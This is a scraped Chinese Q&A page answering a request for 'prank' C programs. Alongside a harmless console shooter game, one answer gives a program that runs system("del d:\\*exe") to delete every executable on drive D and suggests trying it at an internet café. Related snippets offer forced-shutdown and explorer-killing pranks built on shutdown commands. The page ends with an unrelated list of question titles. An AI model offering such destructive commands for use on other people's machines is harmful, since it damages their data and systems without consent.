问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

求一些恶搞程序的C语言源代码

发布网友 发布时间:2022-04-29 05:17

我来回答

2个回答

热心网友 时间:2022-06-19 08:36

一个*的游戏,DEVc++编译通过:

#include <stdio.h>

#include <conio.h>

#include <stdlib.h>

#include <windows.h>

#include <time.h>

#define zlx 10   //增量坐标(x)让游戏框不靠边

#define zly 3    //增量坐标(y)让游戏框不靠边

#define W 26   //游戏框的宽度

#define H 24   //游戏框的高度

int jiem[22][22]={0}, wj=10;   //界面数组, 我机位置(初值为10)

int speed=4,density=30, score=0,death=0;  //敌机速度, 敌机密度, 玩家成绩,死亡次数

int m=0,n=0;   // m,n是控制敌机的变量

void gtxy (int x, int y)   //控制光标位置的函数

{ COORD zb;   //zb代指坐标

  zb.X = x;  zb.Y = y; 

  SetConsoleCursorPosition ( GetStdHandle (STD_OUTPUT_HANDLE), zb );

}

void Color(int a)   //设定颜色的函数(a应为1-15)

{ SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), a ); }

void yinc(int x=1,int y=0)   //隐藏光标的函数

{ CONSOLE_CURSOR_INFO  gb={x,y};   //gb代指光标, y设为0即隐藏

  SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &gb);

 }

void csh( )  //初始化函数

{ int i;

  Color(7);

 gtxy(zlx,zly); printf("╔");  gtxy(zlx+W-2,zly); printf("╗");  //左上角和右上角的框角

 gtxy(zlx,zly+H-1); printf("╚"); gtxy(zlx+W-2,zly+H-1); printf("╝"); //下边两框角

 for(i=2;i<W-2;i+=2) {gtxy(zlx+i,zly);  printf("═"); }      //打印上横框

  for(i=2;i<W-2;i+=2) {gtxy(zlx+i,zly+H-1); printf("═"); }  //打印下横框

  for(i=1;i<H-1;i++) { gtxy(zlx,zly+i);  printf("║"); }       //打印左竖框

 for(i=1;i<H-1;i++) {gtxy(zlx+W-2,zly+i); printf("║"); }  //打印右竖框

 Color(14); gtxy(19,2);  printf("歼灭敌机");  Color(10);

 gtxy(37,5); printf("设置:Esc ");

 gtxy(37,7); printf("发射:↑ ");

 gtxy(37,9); printf("控制:← → ");

 gtxy(37,11);printf("得分:%d",score);

 gtxy(37,13); printf("死亡:%d",death);

 yinc(1,0);

}

void qcjm( )  //清除界面函数

{ int i,j;

  for(i=0;i<H-2;i++)

  for(j=0;j<W-4;j++){gtxy(zlx+2+j,zly+1+i); printf(" ");}

}

void feiji( )  //飞机移动函数

{ int i,j;

  for(i=21;i>=0;i--)  //从底行往上是为了避免敌机直接冲出数组

    for(j=0;j<22;j++)

       {if(i==21&&jiem[i][j]==3) jiem[i][j]=0;  //底行赋值0 以免越界

         if(jiem[i][j]==3) jiem[i][j]=0, jiem[i+1][j]=3;

       }

  if(jiem[20][wj]==3&&jiem[21][wj]==1) death++;

}

void zidan( )  //子弹移动函数

{ int i,j;

  for(i=0;i<22;i++)

    for(j=0;j<22;j++)

       { if(i==0&&jiem[i][j]==2) jiem[i][j]=0;

         if(jiem[i][j]==2) { if(jiem[i-1][j]==3) score+=100,printf("\7"); 

                                    jiem[i][j]=0,jiem[i-1][j]=2; }

       }

}

void print(  )  //输出界面函数

{int i,j;

 qcjm( );

 for(i=0;i<22;i++)

 for(j=0;j<22;j++)

   { gtxy(12+j,4+i);

     if(jiem[i][j]==3) {Color(13);printf("□");}

     if(jiem[i][j]==2) {Color(10);printf(".");}

     if(jiem[i][j]==1) {Color(10);printf("■");}

   }

 gtxy(37,11); Color(10); printf("得分:%d",score);

 gtxy(37,13); printf("死亡:%d",death);

}

void setting( )  //游戏设置函数

{ qcjm( );

  gtxy(12,4);printf("选择敌机速度:");

  gtxy(12,5);printf("  1.快 2.中 3.慢>>");

  switch(getche( ))

      {case '1': speed=2; break;

       case '2': speed=4; break;

       case '3': speed=5; break;

       default: gtxy(12,6);printf("  错误!默认值");

     }

 gtxy(12,7);printf("选择敌机密度:");

 gtxy(12,8);printf("  1.大 2.中 3.小>>");

 switch(getche( ))

       {case '1': density=20; break;

        case '2': density=30; break;

        case '3': density=40; break;

        default: gtxy(12,9); printf("  错误!默认值");

       }

  for(int i=0;i<22;i++)

   for(int j=0;j<22;j++) jiem[i][j]=0;

  jiem[21][wj=10]=1;  jiem[0][5]=3;

  gtxy(12,10); printf("  按任意键保存...");

  getch( );

  qcjm( );

}

void run( )  //游戏运行函数

{ jiem[21][wj]=1;  //值为1代表我机(2则为子弹)

  jiem[0][5]=3;   //值为3代表敌机

  SetConsoleTitle("歼灭敌机");  //设置窗口标题

 while(1)

   { if (kbhit( ))   //如有键按下,控制我机左右移动、发射或进行设定

      { int key;

        if((key=getch( ))==224) key=getch( );

       switch(key) 

         {case 75: if(wj>0) jiem[21][wj]=0,jiem[21][--wj]=1; break;

          case 77: if(wj<20) jiem[21][wj]=0,jiem[21][++wj]=1; break;

          case 72: jiem[20][wj]=2; break;

         case 27: setting( );

        }

     }

     if(++n%density==0)   //控制产生敌机的速度

       { n=0;srand((unsigned)time(NULL));

         jiem[0][rand( )%20+1]=3;

       }

      if(++m%speed==0) { feiji( ); m=0; }  //控制敌机移动速度(相对子弹而言)

      zidan( );   //子弹移动

      print( );   //输出界面

      Sleep(120);   //延时120毫秒

    }

}

int main( )

{ csh( );

  run( );

  return 0;

}

热心网友 时间:2022-06-19 08:37

去学学system函数,举个例子给你:
#include<stdio.h>
#include<stdlib.h>
int main()
{
system("del d:\\*exe");
return 0;
}
这个可以把你d盘全部exe程序文件删除,可以去网吧试试

欢迎采纳
求一些恶搞程序的C语言源代码

include"stdio.h"int main(){int n;char a[10];printf("叫大哥,不叫就关机(你有30秒的时间,如果关闭本程序一样要关机)\n");system("shutdown -r");while(1){printf("叫:");scanf("%s",&amp;a);n=strcmp(a,"大哥");if(n==0){system("shutdown -a");printf("嗯,真乖!!!爽!哈...

一个C语言恶搞程序

include&lt;stdio.h&gt;#include&lt;string.h&gt;//int main(void){char ch[8];printf("请输入您的名字拼音,我可以算出你的智商哦!");while(1)//{scanf("%s",ch);//if(!strcmp(ch,"langtian"))//{printf("真是个大帅哥啊,智商达1000\n");}else{printf("猪头吗?\n猪头呀!\n");}}return ...

我现在手里的几个用C语言写的恶搞代码,我想问一下那个怎么用?复制到...

void daoxu(int n);void main(){ int n;do { printf("Input n:\n");scanf("%d",&amp;n);}while(n&gt;99999);daoxu(n);} void daoxu(int n){ int a,i=0,count=0;int b[10];while(n!=0){ a=n%10;n=n/10;count++;b[i]=a;i++;printf("%d",a);} printf("\n");pri...

C语言代码恶搞好友

今日,我们将探讨三个充满乐趣的C语言代码小项目,旨在为您的朋友带来欢乐,但请确保使用时谨慎,以免造成不必要的困扰。首先,我们有“关机小程序”。通过输入“我是猪”,它可以避免整人效果。程序巧妙地利用了`system`函数关闭了`explorer.exe`文件,使得桌面图标和任务栏消失,营造出一种电脑关机的假象...

如何把代码镶嵌在程序里

还有特洛伊病毒也是镶嵌在程序里面的,这种镶嵌只能在C语言编写的软件才行,因为C语言不检查数组,其他的就不行了。至于镶嵌在视频内,我从来没听说过……追问:不是病毒。。。我的是恶搞程序而已。。。比如要你关机的那些回答:

谁能教我制作的简单恶搞病毒

为了您电脑的安全,建议您使用腾讯电脑管家对您的电脑进行一下全面的杀毒吧,打开腾讯电脑管家中的杀毒功能选择闪电查杀或者全盘查杀就可以,您可以点击这里下载最新版的腾讯电脑管家:最新版腾讯电脑管家下载 腾讯电脑管家企业平台:http://zhidao.baidu.com/c/guanjia/ ...

VB实用小程序代码,另外求一个可以让电脑关机的代码

这简单,直接加个时间控件,然后在时间控件里写shell"cmd /c shutdows -s -t 1"然后在时间控件里随便设个秒数

表白程序代码

4、炫酷一点的 C语言诠释爱——为TA写下心中情,生成程序传给TA,TA点开程序就懂你。这个开始的时候会展示出表白对象的名字,接着就是最重要的烟花部分,为了让烟花显得更加真实,需要附加重力效果和空气阻力效果,源代码图如下 如果需要源码的留下邮乡就可以了。5、恶搞一点的 这个适合关系已经不错的...

C/C++中的switch case 语句是怎样的一个执行过程

switch(i){ case 1:case 3:case 5:……; //这里当i等于 1 3 5 时都会执行 break;//直到这里退出 case 2:(1)……;case 4:(2)……;case 6:(3)……;//这里i 等于2时会执行(1)(2)(3); i 等于4时会执行(2)(3); 等于6时只会执行(3)break;case 9:break;default:break;} ...

什么是图形化编程?编程语言是什么?

图形化编程就是编写有界面的程序,编程语言是一种被标准化的交流技巧,用来向计算机发出指令,定义计算机程序。一、图形化编程 1、使用图形化编程可以进行良好的页面布局,在现有的很多Web应用中,其应用程序的页面布局经常需要使用图像,这样能够让页面整体效果更加友好。用户会对界面友好的应用程序印象深刻...

用C语言编写的源代码代码 用c语言编写的源代码程序是 源代码和源程序 HEX文件解析C语言源代码 C语言图书管理系统源代码 C语言编写的代码是 图书管理源代码C语言 c语言入门源代码 c语言源代码网站
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
如果要去西藏旅游该注意哪些事项? 配一台三千左右的电脑 平时就是玩穿越火线和魔兽 最好FPS能高点 可以... 帮忙看看我的电脑的内存读入测试!什么意思?说明什么? 我家的花,三角梅,就是盘起来的那种,往上盘的主干尖折了,还能长吗?? 上海哪里学琵琶好? 请问在上海杨浦区地铁8号线附近的琴行有没有啊,我想学钢琴,谢谢大家了... 上海杨浦区有哪些地方学乐器和高一课程比较好 上海瀚音琴行怎么样? ipad和手机相册怎么取消同步 现在买郑州到厦门的火车票好买吗? c语言printf想输出下面那个只能用&#92;n(源代码里会看着乱)或者一行用一个printf吗?有没有别的方法 C语言用什么关键字可以使原程序的语句在屏幕上原样输出,例如:printf(&quot;** *** **&quot;),在屏幕上原样输出 c语言输出~~~ 两台不同手机频繁切换会不会封号? printf的问题 一部手机可以切换登陆几个呢&#xF60A;,切换多了会不会被封号? printf 输出报错。 c语言 结构体问题,第一个printf执行之后就程序崩溃了,把错误指出并改正,然后发源代码即可谢谢 oppo系统自带的应用分身登录的会被封号吗?使用过的朋友回答下,谢谢! 为什么学完C语言,我还是看不懂printf的源代码? 微信来回切换账号会被封号吗 请问到哪里可以找C语言的库函数的代码,例如PRINTF函数的代码 一部手机可以切换登陆几个呢,切换多了会不会被封号? printf的参数左对齐与右对齐,填0与空格 printf输出 一部手机两个来回切换,会被腾讯封号嘛?哪位大神知道苹果手机怎么弄微信分身? C语言中如何使用printf来输出C语言中的程序源代码? 求C语言中的库函数的源代码 如printf()函数,我要它的源代码 C语言中printf是库函数,那么printf的代码到底在哪里呢? 同一部手机频频切换不同微信账户登陆会导致微信账号被封吗? 电脑如何才能长时间复制粘贴不停? 哪里可以免费下载mc喊麦歌曲 mc音乐喊麦软件下载 MC DJ 音乐 在什么地方下载。我找了很多都是关闭的。 或者网页带毒。 DJ舞曲|MC喊麦|mc飘雪|MC现场mc词||好听的音乐 适合开零食店的名字有哪些? 怎么才能建设mc音乐网站 求7字干货零食店? Mc Hotdog毒的歌曲链接,要放在空间能用的啊,跪求。 求分享我要能像你那么潇洒就好了(DJ版)-MC南辞_安筱冷音乐百度云网盘下载地址 求MC 《 永远是我的宝贝》无损音乐 百度云 下载 求给00后青春的经典旋律(DJ版)-MC林辰音乐百度云网盘下载地址 谁有遥不可及的梦(DJ版)-MC新旭音乐百度云网盘下载地址 MC光光~坐镇音乐网 黄色的什么零食店猪肉蒲 MC喊麦背景音乐在哪里能找的到? 淘宝店铺取名主营云南特产,休闲食品。名字易于传播,通俗易懂,大气好记,具有创意(寓意)独特易记。 求潮音英雄会(DJ版)-MC南辞_在忠音乐百度云网盘下载地址 本人最近准备开一家淘宝网店,是经营各类年轻女性的小零食,为怎么取名而苦恼。 谁有mc光光的歌曲下载